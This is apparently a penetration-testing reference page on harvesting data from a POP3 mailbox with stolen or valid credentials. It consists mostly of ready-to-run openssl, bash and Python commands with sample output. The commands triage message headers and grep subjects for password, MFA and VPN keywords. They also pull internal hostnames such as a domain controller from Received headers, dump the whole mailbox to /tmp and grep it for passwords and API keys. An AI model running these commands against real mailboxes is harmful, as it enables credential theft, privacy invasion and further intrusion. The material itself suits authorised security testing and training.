# POP3 Mailbox Data Harvesting

- **URL:** https://hackindex.io/services/pop3/exploitation/pop3-mailbox-data-harvesting
- **Path:** POP3 > Exploitation
- **Up:** [Exploitation](https://hackindex.io/services/pop3/exploitation.md)
- **Published:** 2026-03-29
- **Updated:** 2026-03-29

## POP3 Mailbox Data Harvesting

Mailbox access through valid POP3 credentials often yields credentials from password reset emails, MFA codes, VPN tokens, internal system references, and forwarding addresses that reveal the broader infrastructure. Triage by headers first: reading full message bodies only when headers indicate high-value content keeps the footprint minimal and avoids unnecessary data collection.

- Connect and Get Mailbox Overview
- Triage All Messages by Headers
- Retrieve High-Value Messages
- Search Headers for Credential Keywords
- Extract Internal Hostnames from Received Headers
- Save Mailbox to Disk

## Connect and Get Mailbox Overview

Establish the session and pull a quick inventory before reading anything:

```bash
echo -e "USER $USER\nPASS $PASSWORD\nSTAT\nLIST\nUIDL\nQUIT" | openssl s_client -connect $TARGET_IP:995 -crlf -quiet 2>/dev/null
# +OK Dovecot ready.
# +OK
# +OK 14 messages (86420 octets)
# +OK 14 messages (86420 octets)
# 1 3200
# 2 1800
# 3 18960
# 4 2100
# ...
```

Note message sizes from LIST. Large messages contain attachments. STAT gives total message count and size for quick impact assessment. UIDL gives stable identifiers useful for tracking which messages have been reviewed.

## Triage All Messages by Headers

Pull headers for every message with TOP before reading any bodies. Set the line count to 0 to get headers only:

```bash
python3 << EOF
import subprocess

commands = 'USER $USER\nPASS $PASSWORD\n' + ''.join([f'TOP {i} 0\n' for i in range(1, 15)]) + 'QUIT\n'
result = subprocess.run(['openssl', 's_client', '-connect', '$TARGET_IP:995', '-crlf', '-quiet'],
    input=commands.encode(), capture_output=True, timeout=30)
print(result.stdout.decode(errors='replace'))
EOF
```

Scan header output for high-value subjects. Password reset, temporary password, MFA code, VPN access, invoice, and account confirmation subjects are immediate targets for full message retrieval.

## Retrieve High-Value Messages

Pull full bodies only for messages identified as high value during header triage:

```bash
echo -e "USER $USER\nPASS $PASSWORD\nRETR 3\nQUIT" | openssl s_client -connect $TARGET_IP:995 -crlf -quiet 2>/dev/null | grep -v '+OK\|-ERR'
# From: IT Support <support@company.com>
# Subject: Your temporary password
#
# Your temporary password is: TempP@ss2026!
# Please log in and change it immediately.
```

## Search Headers for Credential Keywords

After pulling headers for all messages, grep for subjects containing credential-related terms:

```bash
echo -e "USER $USER\nPASS $PASSWORD\n$(for i in $(seq 1 20); do echo "TOP $i 0"; done)\nQUIT" | openssl s_client -connect $TARGET_IP:995 -crlf -quiet 2>/dev/null | grep -i 'subject:' | grep -iE 'password|reset|temporary|vpn|mfa|token|code|access|credential'
# Subject: Your temporary password is ready
# Subject: VPN access credentials
# Subject: Two-factor authentication code
```

## Extract Internal Hostnames from Received Headers

The Received headers in mail trace the routing path and often contain internal server names and IP addresses:

```bash
echo -e "USER $USER\nPASS $PASSWORD\nTOP 1 0\nQUIT" | openssl s_client -connect $TARGET_IP:995 -crlf -quiet 2>/dev/null | grep -i 'received:'
# Received: from mail01.company.local (mail01.company.local [10.10.10.50])
# Received: from dc01.company.local (dc01.company.local [10.10.10.10])
```

Internal hostnames and IPs in Received headers map infrastructure without any scanning. dc01.company.local at 10.10.10.10 is a domain controller: an immediate target for Kerberos attacks and credential reuse testing.

## Save Mailbox to Disk

For full offline analysis, dump all messages to local files:

```bash
mkdir -p /tmp/pop3_dump/$USER
for i in $(seq 1 14); do
  echo -e "USER $USER\nPASS $PASSWORD\nRETR $i\nQUIT" | openssl s_client -connect $TARGET_IP:995 -crlf -quiet 2>/dev/null | grep -v '^\+OK\|^-ERR\|^QUIT' > /tmp/pop3_dump/$USER/msg_$i.eml
  echo "Saved message $i"
done
# Saved message 1
# Saved message 2
# ...
# Saved message 14
```

```bash
grep -rh -iE 'password|passwd|token|api.?key|secret' /tmp/pop3_dump/$USER/ | grep -v 'Content-Type\|boundary'
# Your temporary password is: TempP@ss2026!
# API Key: sk-prod-xK2aB1cD3eF4gH5i
```

> [!CAUTION]
> Never use DELE during an assessment: it permanently removes messages from the mailbox. If accidentally used before QUIT, send RSET immediately to undo all pending deletions in the current session.

## References

- [RFC 1939: Post Office Protocol Version 3](https://www.rfc-editor.org/rfc/rfc1939) - POP3 command reference including TOP, RETR, STAT, and DELE